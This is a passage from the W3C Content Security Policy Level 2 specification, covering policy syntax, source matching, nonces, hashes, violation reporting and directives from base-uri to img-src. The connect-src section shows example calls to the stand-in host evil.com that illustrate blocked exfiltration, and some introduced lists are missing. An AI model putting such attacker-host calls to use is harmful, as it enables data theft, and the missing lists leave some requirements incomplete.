The above sections note that when multiple policies are present, each must be enforced or reported, according to its type. An example will help clarify how that ought to work in practice. The behavior of an XMLHttpRequest might seem unclear given a site that, for whatever reason, delivered the following HTTP headers:

Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                         connect-src 'none';
Content-Security-Policy: connect-src http://example.com/;
                         script-src http://example.com/

Is a connection to example.com allowed or not? The short answer is that the connection is not allowed. Enforcing both policies means that a potential connection would have to pass through both unscathed. Even though the second policy would allow this connection, the first policy contains connect-src 'none', so its enforcement blocks the connection. The impact is that adding additional policies to the list of policies to enforce can only further restrict the capabilities of the protected resource.

To demonstrate that further, consider a script tag on this page. The first policy would lock scripts down to 'self', http://example.com and http://example.net via the default-src directive. The second, however, would only allow script from http://example.com/. Script will only load if it meets both policy’s criteria: in this case, the only origin that can match is http://example.com, as both policies allow it.

3.5. Policy applicability

This section is not normative.

Policies are associated with an protected resource, and enforced or monitored for that resource. If a resource does not create a new execution context (for example, when including a script, image, or stylesheet into a document), then any policies delivered with that resource are discarded without effect. Its execution is subject to the policy or policies of the including context. The following table outlines examples of these relationships:

Resource Type What policy applies?
Top-level Contexts HTML as a new, top-level browsing context The policy delivered with the resource
SVG, as a top-level document Policy delivered with the resource
Embedded Contexts Any resource included via iframe, object, or embed The policy of the embedding resource controls what may be embedded. The embedded resource, however, is controlled by the policy delivered with the resource, or the policy of the embedding resource if the embedded resource is a globally unique identifier (or a srcdoc frame).
SVG, as an embedded document The policy delivered with the resource, or policy of the creating context if created from a globally unique identifier.
JavaScript, as a Worker, Shared Worker or Service Worker The policy delivered with the resource, or policy of the creating context if created from a globally unique identifier
Subresources SVG, inlined via svg Policy of the including context
SVG, as a resource document Policy of the including context
HTML via XMLHttpRequest Policy of the context that performed the fetch
Image via img element Policy of the including context
JavaScript via a script element Policy of the including context
SVG, via img No policy; should be just as safe as JPG
SVG, as a WebFont No policy; should be just as safe as WOFF

4. Syntax and Algorithms

4.1. Policy Syntax

A Content Security Policy consists of a U+003B SEMICOLON (;) delimited list of directives. Each directive consists of a directive name and (optionally) a directive value, defined by the following ABNF:

policy-token    = [ directive-token *( ";" [ directive-token ] ) ]
directive-token = *WSP [ directive-name [ WSP directive-value ] ]
directive-name  = 1*( ALPHA / DIGIT / "-" )
directive-value = *( WSP / <VCHAR except ";" and ","> )

4.1.1. Parsing Policies

To parse the policy policy, the user agent MUST use an algorithm equivalent to the following:

  1. Let the set of directives be the empty set.
  2. For each non-empty token returned by strictly splitting the string policy on the character U+003B SEMICOLON (;):
    1. Skip whitespace.
    2. Collect a sequence of characters that are not space characters. The collected characters are the directive name.
    3. If there are characters remaining in token, skip ahead exactly one character (which must be a space character).
    4. The remaining characters in token (if any) are the directive value.
    5. If the set of directives already contains a directive whose name is a case insensitive match for directive name, ignore this instance of the directive and continue to the next token.
    6. Add a directive to the set of directives with name directive name and value directive value.
  3. Return the set of directives.

4.2. Source List Syntax

Many CSP directives use a value consisting of a source list, defined in the ABNF grammar below.

Each source expression in the source list represents a location from which content of the specified type can be retrieved. For example, the source expression 'none' represents the empty set of URLs, and the source expression 'unsafe-inline' represents content supplied inline in the resource itself.

source-list       = *WSP [ source-expression *( 1*WSP source-expression ) *WSP ]
                  / *WSP "'none'" *WSP
source-expression = scheme-source / host-source / keyword-source / nonce-source / hash-source
scheme-source     = scheme-part ":"
host-source       = [ scheme-part "://" ] host-part [ port-part ] [ path-part ]
keyword-source    = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
base64-value      = 1*( ALPHA / DIGIT / "+" / "/" )*2( "=" )
nonce-value       = base64-value
hash-value        = base64-value
nonce-source      = "'nonce-" nonce-value "'"
hash-algo         = "sha256" / "sha384" / "sha512"
hash-source       = "'" hash-algo "-" hash-value "'"
scheme-part       = <scheme production from RFC 3986, section 3.1>
host-part         = "*" / [ "*." ] 1*host-char *( "." 1*host-char )
host-char         = ALPHA / DIGIT / "-"
path-part         = <path production from RFC 3986, section 3.3>
port-part         = ":" ( 1*DIGIT / "*" )

If the policy contains a nonce-source expression, the server MUST generate a fresh value for the nonce-value directive at random and independently each time it transmits a policy. The generated value SHOULD be at least 128 bits long (before encoding), and generated via a cryptographically secure random number generator. This requirement ensures that the nonce-value is difficult for an attacker to predict.

Note: Using a nonce to whitelist inline script or style is less secure than not using a nonce, as nonces override the restrictions in the directive in which they are present. An attacker who can gain access to the nonce can execute whatever script they like, whenever they like. That said, nonces provide a substantial improvement over 'unsafe-inline' when layering a content security policy on top of old code. When considering 'unsafe-inline', authors are encouraged to consider nonces (or hashes) instead.

The host-char production intentionally contains only ASCII characters; internationalized domain names cannot be entered directly into a policy string, but instead MUST be Punycode-encoded [RFC3492]. For example, the domain üüüüüü.de would be encoded as xn--tdaaaaaa.de.

NOTE: Though IP addresses do match the grammar above, only 127.0.0.1 will actually match a URL when used in a source expression (see §4.2.2 Matching Source Expressions for details). The security properties of IP addresses are suspect, and authors ought to prefer hostnames to IP addresses whenever possible.

4.2.1. Parsing Source Lists

To parse a source list source list, the user agent MUST use an algorithm equivalent to the following:

  1. Strip leading and trailing whitespace from source list.
  2. If source list is an ASCII case-insensitive match for the string 'none' (including the quotation marks), return the empty set.
  3. Let set of source expressions be the empty set.
  4. For each token returned by splitting source list on spaces, if the token matches the grammar for source-expression, add the token to the set of source expressions.
  5. Return the set of source expressions.

Note: Characters like U+003B SEMICOLON (;) and U+002C COMMA (,) cannot appear in source expressions directly: if you’d like to include these characters in a source expression, they must be percent encoded as %3B and %2C respectively.

4.2.2. Matching Source Expressions

A URL url is said to match a source expression for a protected resource if the following algorithm returns does match:

  1. Let url be the result of processing the URL through the URL parser.
  2. If the source expression a consists of a single U+002A ASTERISK character (*), and url’s scheme is not one of blob, data, filesystem, then return does match.
  3. If the source expression matches the grammar for scheme-source:
    1. If url’s scheme is an ASCII case-insensitive match for the source expression’s scheme-part, return does match.
    2. Otherwise, return does not match.
  4. If the source expression matches the grammar for host-source:
    1. If url’s host is null, return does not match.
    2. Let url-scheme, url-host, and url-port be the scheme, host, and port of url’s origin, respectively.

      Note: If url doesn’t specify a port, then its origin’s port will be the default port for url’s scheme.

    3. Let url-path-list be the path of url.
    4. If the source expression has a scheme-part that is not a case insensitive match for url-scheme, then return does not match.
    5. If the source expression does not have a scheme, return does not match if any of the following are true:
      1. the scheme of the protected resource’s URL is a case insensitive match for HTTP, and url-scheme is not a case insensitive match for either HTTP or HTTPS
      2. the scheme of the protected resource’s URL is not a case insensitive match for HTTP, and url-scheme is not a case insensitive match for the scheme of the protected resource’s URL.
    6. If the first character of the source expression’s host-part is an U+002A ASTERISK character (*) and the remaining characters, including the leading U+002E FULL STOP character (.), are not a case insensitive match for the rightmost characters of url-host, then return does not match.
    7. If the first character of the source expression’s host-part is not an U+002A ASTERISK character (*) and url-host is not a case insensitive match for the source expression’s host-part, then return does not match.
    8. If the source expression’s host-part matches the IPv4address production from [RFC3986], and is not 127.0.0.1, or is an IPv6 address, return does not match.

      Note: A future version of this specification may allow literal IPv6 and IPv4 addresses, depending on usage and demand. Given the weak security properties of IP addresses in relation to named hosts, however, authors are encouraged to prefer the latter whenever possible.

    9. If the source expression does not contain a port-part and url-port is not the default port for url-scheme, then return does not match.
    10. If the source expression does contain a port-part, then return does not match if both of the following are true:
      1. port-part does not contain an U+002A ASTERISK character (*)
      2. port-part does not represent the same number as url-port
    11. If the source expression contains a non-empty path-part, and the URL is not the result of a redirect, then:
      1. Let exact-match be true if the final character of path-part is not the U+002F SOLIDUS character (/), and false otherwise.
      2. Let source-expression-path-list be the result of splitting path-part on the U+002F SOLIDUS character (/).
      3. If source-expression-path-list’s length is greater than url-path-list’s length, return does not match.
      4. For each entry in source-expression-path-list:
        1. Percent decode entry.
        2. Percent decode the first item in url-path-list.
        3. If entry is not an ASCII case-insensitive match for the first item in url-path-list, return does not match.
        4. Pop the first item in url-path-list off the list.
      5. If exact-match is true, and url-path-list is not empty, return does not match.
    12. Otherwise, return does match.
  5. If the source expression is a case insensitive match for 'self' (including the quotation marks), then:
    1. Return does match if the origin of url matches the origin of protected resource’s URL.

      Note: This includes IP addresses. That is, a document at https://111.111.111.111/ with a policy of img-src 'self' can load the image https://111.111.111.111/image.png, as the origins match.

  6. Otherwise, return does not match.

Note: This algorithm treats the URLs https://example.com/ and https://example.com./ as non-matching. This is consistent with browser behavior which treats documents served from these URLs as existing in distinct origins.

A URL url is said to match a source list for protected resource if at least one source expression in the set of source expressions obtained by parsing the source list matches url for protected resource.

Note: No URLs match an empty set of source expressions, such as the set obtained by parsing the source list 'none'.

4.2.2.1. Security Considerations for GUID URL schemes

This section is not normative.

As defined above, special URL schemes that refer to specific pieces of unique content, such as "data:", "blob:" and "filesystem:" are excluded from matching a policy of * and must be explicitly listed. Policy authors should note that the content of such URLs is often derived from a response body or execution in a Document context, which may be unsafe. Especially for the default-src and script-src directives, policy authors should be aware that allowing "data:" URLs is equivalent to unsafe-inline and allowing "blob:" or "filesystem:" URLs is equivalent to unsafe-eval.

4.2.2.2. Path Matching

This section is not normative.

The rules for matching source expressions that contain paths are simpler than they look: paths that end with the '/' character match all files in a directory and its subdirectories. Paths that do not end with the '/' character match only one specific file. A few examples should make this clear:

  1. The source expression example.com has no path, and therefore matches any file served from that host.
  2. The source expression example.com/scripts/ matches any file in the scripts directory of example.com, and any of its subdirectories. For example, both https://example.com/scripts/file.js and https://example.com/scripts/js/file.js would match.
  3. The source expression example.com/scripts/file.js matches only the file named file.js in the scripts directory of example.com.
  4. Likewise, the source expression example.com/js matches only the file named js. In particular, note that it would not match files inside a directory named js. Files like example.com/js/file.js would be matched only if the source expression ended with a trailing "/", as in example.com/js/.

Note: Query strings have no impact on matching: the source expression example.com/file matches all of https://example.com/file, https://example.com/file?key=value, https://example.com/file?key=notvalue, and https://example.com/file?notkey=notvalue.

4.2.2.3. Paths and Redirects

To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com not-example.com/path:

  • Directly loading https://not-example.com/not-path would fail, as it doesn’t match the policy.
  • Directly loading https://example.com/redirector would pass, as it matches example.com.
  • Assuming that https://example.com/redirector delivered a redirect response pointing to https://not-example.com/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches not-example.com/path if we ignore its path component.

This restriction reduces the granularity of a document’s policy when redirects are in play, which isn’t wonderful, but given that we certainly don’t want to allow brute-forcing paths after redirects, it seems a reasonable compromise.

The relatively long thread "Remove paths from CSP?" from public-webappsec@w3.org has more detailed discussion around alternate proposals.

4.2.3. The nonce attribute

Nonce sources require a new nonce attribute to be added to both script and style elements.

partial interface HTMLScriptElement {
  attribute DOMString nonce;
};
nonce, of type DOMString
This attribute reflects the value of the element’s nonce content attribute.
partial interface HTMLStyleElement {
  attribute DOMString nonce;
};
nonce, of type DOMString
This attribute reflects the value of the element’s nonce content attribute.

4.2.4. Valid Nonces

An element has a valid nonce for a set of source expressions if the value of the element’s nonce attribute after stripping leading and trailing whitespace is a case-sensitive match for the nonce-value component of at least one nonce-source expression in set of source expressions.

4.2.5. Valid Hashes

An element’s content is the script block’s source for script elements, or the value of the element’s textContent IDL attribute for non-script elements such as style.

The digest of element’s content for is the result of applying an algorithm to the element’s content.

To determine whether element has a valid hash for a set of source expressions, execute the following steps:

  1. Let hashes be a list of all hash-source expressions in set of source expressions.
  2. For each hash in hashes:
    1. Let algorithm be:
    2. Let expected be the hash-value component of hash.
    3. Let actual be the base64 encoding of the binary digest of element’s content using the algorithm algorithm.
    4. If actual is a case-sensitive match for expected, return true and abort these steps.
  3. Return false.

Note: If an element has an invalid hash, it would be helpful if the user agent reported the failure to the author by adding a warning message containing the actual hash value.

4.3. Media Type List Syntax

The plugin-types directive uses a value consisting of a media type list.

Each media type in the media type list represents a specific type of resource that can be retrieved and used to instantiate a plugin in the protected resource.

media-type-list   = media-type *( 1*WSP media-type )
media-type        = <type from RFC 2045> "/" <subtype from RFC 2045>

4.3.1. Parsing

To parse a media type list media type list, the user agent MUST use an algorithm equivalent to the following:

  1. Let the set of media types be the empty set.
  2. For each token returned by splitting media type list on spaces, if the token matches the grammar for media-type, add the token to the set of media types. Otherwise ignore the token.
  3. Return the set of media types.

4.3.2. Matching

A media type matches a media type list if, and only if, the media type is an ASCII case-insensitive match for at least one token in the set of media types obtained by parsing the media type list.

4.4. Reporting

To strip uri for reporting, the user agent MUST use an algorithm equivalent to the following:

  1. If the origin of uri is a globally unique identifier (for example, uri has a scheme of data, blob, or filesystem), then abort these steps, and return the ASCII serialization of uri’s scheme.
  2. If the origin of uri is not the same as the origin of the protected resource, then abort these steps, and return the ASCII serialization of uri’s origin.
  3. Return uri, with any fragment component removed.

To generate a violation report object, the user agent MUST use an algorithm equivalent to the following:

  1. Prepare a JSON object violation with the following keys and values:
    blocked-uri
    The originally requested URL of the resource that was prevented from loading, stripped for reporting, or the empty string if the resource has no URL (inline script and inline style, for example).
    document-uri
    The address of the protected resource, stripped for reporting.
    effective-directive
    The name of the policy directive that was violated. This will contain the directive whose enforcement triggered the violation (e.g. "script-src") even if that directive does not explicitly appear in the policy, but is implicitly activated via the default-src directive.
    original-policy
    The original policy, as received by the user agent.
    referrer
    The referrer attribute of the protected resource, or the empty string if the protected resource has no referrer.
    status-code
    The status-code of the HTTP response that contained the protected resource, if the protected resource was obtained over HTTP. Otherwise, the number 0.
    violated-directive
    The policy directive that was violated, as it appears in the policy. This will contain the default-src directive in the case of violations caused by falling back to the default sources when enforcing a directive.
  2. If a specific line or a specific file can be identified as the cause of the violation (for example, script execution that violates the script-src directive), the user agent MAY add the following keys and values to violation:
    source-file
    The URL of the resource where the violation occurred, stripped for reporting.
    line-number
    The line number in source-file on which the violation occurred.
    column-number
    The column number in source-file on which the violation occurred.
  3. Return violation.

Note: blocked-uri will not contain the final location of a resource that was blocked after one or more redirects. It instead will contain only the location that the protected resource requested, before any redirects were followed.

To send violation reports, the user agent MUST use an algorithm equivalent to the following:

  1. Prepare a JSON object report object with a single key, csp-report, whose value is the result of generating a violation report object.
  2. Let report body be the JSON stringification of report object.
  3. For each report URL in the set of report URLs:
    1. If the user agent has already sent a violation report for the protected resource to report URL, and that report contained an entity body that exactly matches report body, the user agent MAY abort these steps and continue to the next report URL.
    2. Queue a task to fetch report URL from the origin of the protected resource, with the synchronous flag not set, using HTTP method POST, with a Content-Type header field of application/csp-report, and an entity body consisting of report body. If the origin of report URL is not the same as the origin of the protected resource, the block cookies flag MUST also be set. The user agent MUST NOT follow redirects when fetching this resource. (Note: The user agent ignores the fetched resource.) The task source for these tasks is the Content Security Policy task source.

To report a violation, the user agent MUST:

  1. Fire a violation event at the protected resource’s Document.
  2. If the set of report URLs is non-empty, send violation reports to each.

Note: This section of the specification should not be interpreted as limiting user agents' ability to apply restrictions to violation reports in order to limit data leakage above and beyond what these algorithms specify. For example, a user agent might offer users the option of disabling reporting entirely.

5. Processing Model

To enforce a policy, the user agent MUST parse the policy and enforce each of the directives contained in the policy, where the specific requirements for enforcing each directive are defined separately for each directive (See §7 Directives, below).

Generally speaking, enforcing a directive prevents the protected resource from performing certain actions, such as loading scripts from URLs other than those indicated in a source list. These restrictions make it more difficult for an attacker to abuse an injection vulnerability in the resource because the attacker will be unable to usurp the resource’s privileges that have been restricted in this way.

Note: User agents may allow users to modify or bypass policy enforcement through user preferences, bookmarklets, third-party additions to the user agent, and other such mechanisms.

To monitor a policy, the user agent MUST parse the policy and monitor each of the directives contained in the policy.

Monitoring a directive does not prevent the protected resource from undertaking any actions. Instead, any actions that would have been prevented by the directives are allowed, but a violation report is generated and reported to the developer of the web application. Monitoring a policy is useful for testing whether enforcing the policy will cause the web application to malfunction.

A server MAY cause user agents to monitor one policy while enforcing another policy by returning both Content-Security-Policy and Content-Security-Policy-Report-Only header fields. For example, if a server operator may wish to enforce one policy but experiment with a stricter policy, she can monitor the stricter policy while enforcing the original policy. Once the server operator is satisfied that the stricter policy does not break the web application, the server operator can start enforcing the stricter policy.

If the user agent monitors or enforces a policy that does not contain any directives, the user agent SHOULD report a warning message in the developer console.

If the user agent monitors or enforces a policy that contains an unrecognized directive, the user agent SHOULD report a warning message in the developer console indicating the name of the unrecognized directive.

5.1. Workers

Whenever a user agent runs a worker:

  • If the worker’s script’s origin is a globally unique identifier (for example, the worker’s script’s URL has a scheme of data, blob, or filesystem), then:
    • If the user agent is enforcing a CSP policy for the owner document or parent worker, the user agent MUST enforce the CSP policy for the worker.
    • If the user agent is monitoring a CSP policy for the owner document or parent worker, the user agent MUST monitor the CSP policy for the worker.
  • Otherwise:
    • If the worker’s script is delivered with a Content-Security-Policy HTTP header containing the value policy, the user agent MUST enforce policy for the worker.
    • If the worker’s script is delivered with a Content-Security-Policy-Report-Only HTTP header containing the value policy, the user agent MUST monitor policy for the worker.

5.2. srcdoc IFrames

Whenever a user agent creates an iframe srcdoc document in a browsing context nested in the protected resource, if the user agent is enforcing any policies for the protected resource, the user agent MUST enforce those policies on the iframe srcdoc document as well.

Whenever a user agent creates an iframe srcdoc document in a browsing context nested in the protected resource, if the user agent is monitoring any policies for the protected resource, the user agent MUST monitor those policies on the iframe srcdoc document as well.

6. Script Interfaces

6.1. SecurityPolicyViolationEvent Interface

[Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict)]
interface SecurityPolicyViolationEvent : Event {
    readonly    attribute DOMString documentURI;
    readonly    attribute DOMString referrer;
    readonly    attribute DOMString blockedURI;
    readonly    attribute DOMString violatedDirective;
    readonly    attribute DOMString effectiveDirective;
    readonly    attribute DOMString originalPolicy;
    readonly    attribute DOMString sourceFile;
    readonly    attribute DOMString statusCode;
    readonly    attribute long      lineNumber;
    readonly    attribute long      columnNumber;
};
documentURI, of type DOMString, readonly
Refer to the document-uri property of violation reports for a description of this property.
referrer, of type DOMString, readonly
Refer to the referrer property of violation reports for a description of this property.
blockedURI, of type DOMString, readonly
Refer to the blocked-uri property of violation reports for a description of this property.
violatedDirective, of type DOMString, readonly
Refer to the violated-directive property of violation reports for a description of this property.
effectiveDirective, of type DOMString, readonly
Refer to the effective-directive property of violation reports for a description of this property.
originalPolicy, of type DOMString, readonly
Refer to the original-policy property of violation reports for a description of this property.
statusCode, of type DOMString, readonly
Refer to the status-code property of violation reports for a description of this property.
sourceFile, of type DOMString, readonly
Refer to the source-file property of violation reports for a description of this property.
lineNumber, of type long, readonly
Refer to the line-number property of violation reports for a description of this property.
columnNumber, of type long, readonly
Refer to the column-number property of violation reports for a description of this property.

6.2. SecurityPolicyViolationEventInit Interface

dictionary SecurityPolicyViolationEventInit : EventInit {
    DOMString documentURI;
    DOMString referrer;
    DOMString blockedURI;
    DOMString violatedDirective;
    DOMString effectiveDirective;
    DOMString originalPolicy;
    DOMString sourceFile;
    long      lineNumber;
    long      columnNumber;
};
documentURI, of type DOMString
Refer to the document-uri property of violation reports for a description of this property.
referrer, of type DOMString
Refer to the referrer property of violation reports for a description of this property.
blockedURI, of type DOMString
Refer to the blocked-uri property of violation reports for a description of this property.
violatedDirective, of type DOMString
Refer to the violated-directive property of violation reports for a description of this property.
effectiveDirective, of type DOMString
Refer to the effective-directive property of violation reports for a description of this property.
originalPolicy, of type DOMString
Refer to the original-policy property of violation reports for a description of this property.
sourceFile, of type DOMString
Refer to the source-file property of violation reports for a description of this property.
lineNumber, of type long
Refer to the line-number property of violation reports for a description of this property.
columnNumber, of type long
Refer to the column-number property of violation reports for a description of this property.

6.3. Firing Violation Events

To fire a violation event, the user agent MUST use an algorithm equivalent to the following:

  1. Let report object be the result of generating a violation report object.
  2. Queue a task to fire an event named securitypolicyviolation using the SecurityPolicyViolationEvent interface with the following initializations:
    • blockedURI MUST be initialized to the value of report object’s blocked-uri key.
    • documentURI MUST be initialized to the value of report object’s document-uri key.
    • effectiveDirective MUST be initialized to the value of report object’s effective-directive key.
    • originalPolicy MUST be initialized to the value of report object’s original-policy key.
    • referrer MUST be initialized to the value of report object’s referrer key.
    • violatedDirective MUST be initialized to the value of report object’s violated-directive key.
    • sourceFile MUST be initialized to the value of report object’s source-file key.
    • lineNumber MUST be initialized to the value of report object’s line-number key.
    • columnNumber MUST be initialized to the value of report object’s column-number key.

The task source for these tasks is the Content Security Policy task source.

7. Directives

This section describes the content security policy directives introduced in this specification. Directive names are case insensitive.

In order to protect against Cross-Site Scripting (XSS), web application authors SHOULD include:

In either case, authors SHOULD NOT include either 'unsafe-inline' or data: as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.

7.1. base-uri

The base-uri directive restricts the URLs that can be used to specify the document base URL. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "base-uri"
directive-value   = source-list

The term allowed base URLs refers to the result of parsing the base-uri directive’s value as a source list.

Note: base-uri does not fall back to the default sources.

Step 4 of the algorithm defined in HTML5 to obtain a document’s base URL MUST be changed to:

  1. If the previous step was not successful, or the result of the previous step does not match the allowed base URLs for the protected resource, then the document base URL is fallback base URL. Otherwise, it is the result of the previous step.

7.2. child-src

The child-src directive governs the creation of nested browsing contexts as well as Worker execution contexts. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "child-src"
directive-value   = source-list

The term allowed child sources refers to the result of parsing the child-src directive’s value as a source list if a child-src directive is explicitly specified, and otherwise to the default sources.

7.2.1. Nested Browsing Contexts

To enforce the child-src directive the user agent MUST enforce the frame-src directive.

7.2.2. Workers

Whenever the user agent fetches a URL while processing the Worker or SharedWorker constructors [WORKERS], the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation if the URL does not match the allowed child sources for the protected resource.

7.3. connect-src

The connect-src directive restricts which URLs the protected resource can load using script interfaces. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "connect-src"
directive-value   = source-list

The term allowed connection targets refers to the result of parsing the connect-src directive’s value as a source list if the policy contains an explicit connect-src directive, or otherwise to the default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed connection targets for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

7.3.1. Usage

This section is not normative.

JavaScript offers a few mechanisms that directly connect to an external server to send or receive information. EventSource maintains an open HTTP connection to a server in order to receive push notifications, WebSockets open a bidirectional communication channel between your browser and a server, and XMLHttpRequest makes arbitrary HTTP requests on your behalf. These are powerful APIs that enable useful functionality, but also provide tempting avenues for data exfiltration.

The connect-src directive allows you to ensure that these sorts of connections are only opened to origins you trust. Sending a policy that defines a list of source expressions for this directive is straightforward. For example, to limit connections to only example.com, send the following header:

Content-Security-Policy: connect-src example.com

All of the following will fail with the preceding directive in place:

  • new WebSocket("wss://evil.com/");
  • (new XMLHttpRequest()).open("GET", "https://evil.com/", true);
  • new EventSource("https://evil.com");

7.4. default-src

The default-src directive sets a default source list for a number of directives. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "default-src"
directive-value   = source-list

Let the default sources be the result of parsing the default-src directive’s value as a source list if a default-src directive is explicitly specified, and otherwise the U+002A ASTERISK character (*).

To enforce the default-src directive, the user agent MUST enforce the following directives:

If not specified explicitly in the policy, the directives listed above will use the default sources as their source list.

7.4.1. Usage

This section is not normative.

default-src, as the name implies, serves as a default source list which the other source list-style directives will use as a fallback if they’re not otherwise explicitly set. That is, consider the following policy declaration:

Content-Security-Policy: default-src 'self'

Under this policy, fonts, frames, images, media, objects, scripts, and styles will all only load from the same origin as the protected resource, and connections will only be made to the same origin. Adding a more specific declaration to the policy would completely override the default source list for that resource type.

Content-Security-Policy: default-src 'self'; script-src example.com

Under this new policy, fonts, frames, and etc. continue to be load from the same origin, but scripts will only load from example.com. There’s no inheritance; the script-src directive sets the allowed sources of script, and the default list is not used for that resource type.

Given this behavior, one good way of building a policy for a site would be to begin with a default-src of 'none', and to build up a policy from there that contains only those resource types which are actually in use for the page you’d like to protect. If you don’t use webfonts, for instance, there’s no reason to specify a source list for font-src; specifying only those resource types a page uses ensures that the possible attack surface for that page remains as small as possible.

7.5. font-src

The font-src directive restricts from where the protected resource can load fonts. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "font-src"
directive-value   = source-list

The term allowed font sources refers to the result of parsing the font-src directive’s value as a source list if the policy contains an explicit font-src, or otherwise to the default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed font sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting data for display in a font, such as when processing the <<@font-face>> Cascading Style Sheets (CSS) rule.

7.6. form-action

The form-action restricts which URLs can be used as the action of HTML form elements. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "form-action"
directive-value   = source-list

The term allowed form actions refers to the result of parsing the form-action directive’s value as a source list.

Whenever the user agent fetches a URL in the course of processing an HTML form element, if the URL does not match the allowed form actions for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation.

Note: form-action does not fall back to the default sources when the directive is not defined. That is, a policy that defines default-src 'none' but not form-action will still allow form submissions to any target.

7.7. frame-ancestors

The frame-ancestors directive indicates whether the user agent should allow embedding the resource using a frame, iframe, object, embed or applet element, or equivalent functionality in non-HTML resources. Resources can use this directive to avoid many UI Redressing [UIREDRESS] attacks by avoiding being embedded into potentially hostile contexts.

The syntax for the name and value of the directive are described by the following ABNF grammar:

ancestor-source-list = [ ancestor-source *( 1*WSP ancestor-source ) ] / "'none'"
ancestor-source      = scheme-source / host-source

directive-name  = "frame-ancestors"
directive-value = ancestor-source-list

The term allowed frame ancestors refers to the result of parsing the frame-ancestors directive’s value as a source list. If a frame-ancestors directive is not explicitly included in the policy, then allowed frame ancestors is "*".

To enforce the frame-ancestors directive, whenever the user agent would load the protected resource into a nested browsing context, the user agent MUST perform the following steps:

  1. Let nestedContext be the nested browsing context into which the protected resource is being loaded.
  2. Let ancestorList be the list of all ancestors of nestedContext.
  3. For each ancestorContext in ancestorList:
    1. Let document be ancestorContext’s active document.
    2. If document’s URL does not match the allowed frame ancestors for the protected resource, the user agent MUST:
      1. Abort loading the protected resource.
      2. Take one of the following actions:
        1. Act as if it received an empty HTTP 200 response.
        2. Redirect the user to a friendly error page which provides the option of opening the blocked page in a new top-level browsing context.
      3. Parse a sandboxing directive using the empty string as the input and the newly created document’s forced sandboxing flag set as the output.
      4. Report a violation.
      5. Abort these steps.

Steps 3.2.2 and 3.2.3 ensure that the blocked frame appears to be a normal cross-origin document’s load. If these steps are ignored, leakage of a document’s policy state is possible.

The frame-ancestors directive MUST be ignored when monitoring a policy, and when a contained in a policy defined via a meta element.

Note: frame-ancestors does not fall back to the default sources when the directive is not defined. That is, a policy that defines default-src 'none' but not frame-ancestors will still allow the resource to be framed from anywhere.

When generating a violation report for a frame-ancestors violation, the user agent MUST NOT include the value of the embedding ancestor as a blocked-uri value unless it is same-origin with the protected resource, as disclosing the value of cross-origin ancestors is a violation of the Same-Origin Policy.

7.7.1. Relation to X-Frame-Options

This directive is similar to the X-Frame-Options header that several user agents have implemented. The 'none' source expression is roughly equivalent to that header’s DENY, 'self' to SAMEORIGIN, and so on. The major difference is that many user agents implement SAMEORIGIN such that it only matches against the top-level document’s location. This directive checks each ancestor. If any ancestor doesn’t match, the load is cancelled. [RFC7034]

The frame-ancestors directive obsoletes the X-Frame-Options header. If a resource has both policies, the frame-ancestors policy SHOULD be enforced and the X-Frame-Options policy SHOULD be ignored.

7.7.2. Multiple Host Source Values

This section is not normative.

Multiple source-list expressions are allowed in a single policy (in contrast to X-Frame-Options, which allows only one) to enable scenarios involving embedded application components that are multiple levels below the top-level browsing context.

Many common scenarios for permissioned embedding (e.g. embeddable payment, sharing or social apps) involve potentially many hundreds or thousands of valid source-list expressions, but it is strongly recommended against accommodating such scenarios with a static frame-ancestors directive listing multiple values. In such cases it is beneficial to generate this value dynamically, based on an HTTP Referer header or an explicitly passed-in value, to allow only the sources necessary for each given embedding of the resource.

Consider a service providing a payments application at https://payments/makeEmbedded. The service allows this resource to be embedded by both merchant Alice and merchant Bob, who compete with each other. Sending:

Content-Security-Policy: frame-ancestors https://alice https://bob

would allow Bob to re-frame Alice’s resource and create fraudulent clicks, perhaps discrediting Alice with her customers or the payments service. If the payments service used additional information (e.g. as part of a URL like https://payments/makeEmbedded?merchant=alice) to send individually-tailored headers listing only the source-list expressions needed by each merchant, this attack would be eliminated.

7.8. frame-src

The frame-src directive is deprecated. Authors who wish to govern nested browsing contexts SHOULD use the child-src directive instead.

The frame-src directive restricts from where the protected resource can embed frames. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "frame-src"
directive-value   = source-list

The term allowed frame sources refers to the result of parsing the frame-src directive’s value as a source list if the policy contains an explicit frame-src, or otherwise to the list of allowed child sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed frame sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

7.9. img-src

The img-src directive restricts from where the protected resource can load images. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "img-src"
directive-value   = source-list

The term allowed image sources refers to the result of parsing the img-src directive’s value as a source list if the policy contains an explicit img-src, or otherwise to the list of default sources.

Whenever the user agent fetches a URL in the course of one of the following activities, if the URL does not match the allowed image sources for the protected resource, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting data for an image, such as when processing the src or srcset attributes of an img element, the src attribute of an input element with a type of image, the poster attribute of a video element, the url(), image() or image-set() values on any Cascading Style Sheets (CSS) property that is capable of loading an image [CSS4-IMAGES], or the href attribute of a link element with an image-related rel attribute, such as icon.

7.10. media-src

The media-src directive restricts from where the protected resource can load video, audio, and associated text tracks. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "media-src"
